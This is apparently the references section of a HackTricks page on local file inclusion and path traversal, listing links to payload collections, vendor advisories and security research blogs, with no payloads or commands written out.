## References - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) - [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) - [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) - [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) - [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) - [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#file}} EN-Local-File-Inclusion-1.pdf {{#endfile}} {{#include ../../banners/hacktricks-training.md}}